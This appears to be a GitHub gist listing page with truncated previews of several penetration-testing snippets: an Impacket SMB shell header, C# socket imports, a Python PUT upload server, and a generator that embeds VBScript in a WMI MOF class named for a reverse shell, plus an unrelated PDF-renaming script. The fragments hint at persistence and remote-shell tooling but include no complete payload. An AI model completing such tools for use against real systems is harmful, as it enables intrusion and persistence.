This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# Copyright (c) 2003-2018 CORE Security Technologies | |
# | |
# This software is provided under under a slightly modified version | |
# of the Apache Software License. See the accompanying LICENSE file | |
# for more information. | |
# | |
# Description: Mini shell using some of the SMB funcionality of the library | |
# | |
# Author: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Text; | |
using System.IO; | |
using System.Diagnostics; | |
using System.ComponentModel; | |
using System.Linq; | |
using System.Net; | |
using System.Net.Sockets; | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import signal | |
from threading import Thread | |
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler | |
class PUTHandler(BaseHTTPRequestHandler): | |
def do_PUT(self): | |
length = int(self.headers['Content-Length']) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import string | |
import random | |
def add_vbs_to_mof(vbs_code): | |
random_class_name = ''.join([random.choice(string.ascii_letters + string.digits) for n in range(32)][:6]).title() | |
mof_template = "#pragma namespace (\"\\\\\\\\.\\\\root\\\\subscription\")\n" \ | |
"\n" \ | |
"class MyReverseShellMofClass \n" \ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
def main(): | |
for root, dirs, files in os.walk(os.getcwd()): | |
for file in files: | |
filename, file_extension = os.path.splitext(file) | |
if file_extension.startswith('.pdf'): | |
# change pdf files filename from 'blahblah-abc' to 'Abc-blahblah' | |
new_filename = filename.split('-')[1].title() + '-' + filename.split('-')[0] |
NewerOlder